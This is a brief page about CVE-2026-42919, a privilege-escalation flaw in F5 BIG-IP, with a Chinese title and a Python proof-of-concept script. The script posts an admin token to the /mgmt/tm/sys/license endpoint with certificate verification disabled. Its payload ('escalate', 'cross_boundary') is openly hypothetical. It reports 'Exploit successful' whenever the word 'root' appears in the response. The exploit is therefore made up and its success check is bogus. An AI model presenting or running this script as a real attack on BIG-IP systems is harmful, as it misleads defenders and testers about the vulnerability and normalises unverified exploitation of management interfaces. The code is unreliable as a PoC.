CVE-2026-42919 BIG-IP权限提升漏洞

# PoC for CVE-2026-42919 (Conceptual) # This script demonstrates how an authenticated admin might trigger the privilege escalation. import requests import sys def check_exploit(target, token): """ Attempts to exploit the privilege escalation vulnerability. Requires valid admin credentials/token. """ headers = { 'X-F5-Auth-Token': token, 'Content-Type': 'application/json' } # Hypothetical endpoint that triggers the boundary crossing # In a real scenario, this would be the vulnerable API endpoint url = f"{target}/mgmt/tm/sys/license" payload = { "command": "escalate", "options": {"cross_boundary": True} } try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 200 and "root" in response.text: print("[+] Exploit successful! Privileges escalated.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_url> <admin_token>") else: check_exploit(sys.argv[1], sys.argv[2])